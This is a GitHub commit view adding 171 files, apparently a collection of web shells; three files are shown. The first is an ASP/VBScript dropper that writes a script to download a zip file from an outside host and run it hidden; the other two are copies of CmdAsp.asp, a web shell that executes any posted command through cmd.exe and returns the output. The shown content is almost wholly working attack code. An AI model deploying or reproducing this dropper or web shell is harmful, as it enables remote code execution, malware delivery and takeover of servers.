Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
171 changed files
with
164,183 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| <SCRIPT LANGUAGE="VBScript"> | ||
| <% | ||
| Set entrika = CreateObject("Scripting.FileSystemObject") | ||
| Set entrika = entrika.CreateTextFile("c:\net.vbs", True) | ||
| entrika.write "Dim BinaryData" & vbcrlf | ||
| entrika.write "Dim xml" & vbcrlf | ||
| entrika.write "Set xml = CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf | ||
| entrika.write "xml.Open ""GET"",""http://www35.websamba.com/cybervurgun/file.zip"",False" & vbcrlf | ||
| entrika.write "xml.Send" & vbcrlf | ||
| entrika.write "BinaryData = xml.ResponsebOdy" & vbcrlf | ||
| entrika.write "Const adTypeBinary = 1" & vbcrlf | ||
| entrika.write "Const adSaveCreateOverWrite = 2" & vbcrlf | ||
| entrika.write "Dim BinaryStream" & vbcrlf | ||
| entrika.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf | ||
| entrika.write "BinaryStream.Type = adTypeBinary" & vbcrlf | ||
| entrika.write "BinaryStream.Open" & vbcrlf | ||
| entrika.write "BinaryStream.Write BinaryData" & vbcrlf | ||
| entrika.write "BinaryStream.SaveToFile ""c:\downloaded.zip"", adSaveCreateOverWrite" & vbcrlf | ||
| entrika.write "Dim WshShell" & vbcrlf | ||
| entrika.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf | ||
| entrika.write "WshShell.Run ""c:\downloaded.zip"", 0, false" & vbcrlf | ||
| entrika.close | ||
| Set entrika = Nothing | ||
| Set entrika = Nothing | ||
|
|
||
| Dim WshShell | ||
| Set WshShell = CreateObject("WScript.Shell") | ||
| WshShell.Run "c:\net.vbs", 0, false | ||
| %> | ||
| </SCRIPT> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,53 @@ | ||
| <%@ Language=VBScript %> | ||
| <% | ||
| ' --------------------o0o-------------------- | ||
| ' File: CmdAsp.asp | ||
| ' Author: Maceo <maceo @ dogmile.com> | ||
| ' Release: 2000-12-01 | ||
| ' OS: Windows 2000, 4.0 NT | ||
| ' ------------------------------------------- | ||
|
|
||
| Dim oScript | ||
| Dim oScriptNet | ||
| Dim oFileSys, oFile | ||
| Dim szCMD, szTempFile | ||
|
|
||
| On Error Resume Next | ||
|
|
||
| ' -- create the COM objects that we will be using -- ' | ||
| Set oScript = Server.CreateObject("WSCRIPT.SHELL") | ||
| Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") | ||
| Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") | ||
|
|
||
| ' -- check for a command that we have posted -- ' | ||
| szCMD = Request.Form(".CMD") | ||
| If (szCMD <> "") Then | ||
|
|
||
| ' -- Use a poor man's pipe ... a temp file -- ' | ||
| szTempFile = "C:\" & oFileSys.GetTempName( ) | ||
| Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) | ||
| Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) | ||
|
|
||
| End If | ||
|
|
||
| %> | ||
| <HTML> | ||
| <BODY> | ||
| <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> | ||
| <input type=text name=".CMD" size=45 value="<%= szCMD %>"> | ||
| <input type=submit value="Run"> | ||
| </FORM> | ||
| <PRE> | ||
| <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> | ||
| <br> | ||
| <% | ||
| If (IsObject(oFile)) Then | ||
| ' -- Read the output from our command and remove the temp file -- ' | ||
| On Error Resume Next | ||
| Response.Write Server.HTMLEncode(oFile.ReadAll) | ||
| oFile.Close | ||
| Call oFileSys.DeleteFile(szTempFile, True) | ||
| End If | ||
| %> | ||
| </BODY> | ||
| </HTML> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,55 @@ | ||
| <++ CmdAsp.asp ++> | ||
| <%@ Language=VBScript %> | ||
| <% | ||
| ' --------------------o0o-------------------- | ||
| ' File: CmdAsp.asp | ||
| ' Author: Maceo <maceo @ dogmile.com> | ||
| ' Release: 2000-12-01 | ||
| ' OS: Windows 2000, 4.0 NT | ||
| ' ------------------------------------------- | ||
|
|
||
| Dim oScript | ||
| Dim oScriptNet | ||
| Dim oFileSys, oFile | ||
| Dim szCMD, szTempFile | ||
|
|
||
| On Error Resume Next | ||
|
|
||
| ' -- create the COM objects that we will be using -- ' | ||
| Set oScript = Server.CreateObject("WSCRIPT.SHELL") | ||
| Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") | ||
| Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") | ||
|
|
||
| ' -- check for a command that we have posted -- ' | ||
| szCMD = Request.Form(".CMD") | ||
| If (szCMD <> "") Then | ||
|
|
||
| ' -- Use a poor man's pipe ... a temp file -- ' | ||
| szTempFile = "C:\" & oFileSys.GetTempName( ) | ||
| Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) | ||
| Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) | ||
|
|
||
| End If | ||
|
|
||
| %> | ||
| <HTML> | ||
| <BODY> | ||
| <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> | ||
| <input type=text name=".CMD" size=45 value="<%= szCMD %>"> | ||
| <input type=submit value="Run"> | ||
| </FORM> | ||
| <PRE> | ||
| <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> | ||
| <br> | ||
| <% | ||
| If (IsObject(oFile)) Then | ||
| ' -- Read the output from our command and remove the temp file -- ' | ||
| On Error Resume Next | ||
| Response.Write Server.HTMLEncode(oFile.ReadAll) | ||
| oFile.Close | ||
| Call oFileSys.DeleteFile(szTempFile, True) | ||
| End If | ||
| %> | ||
| </BODY> | ||
| </HTML> | ||
| <-- CmdAsp.asp --> |
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Oops, something went wrong.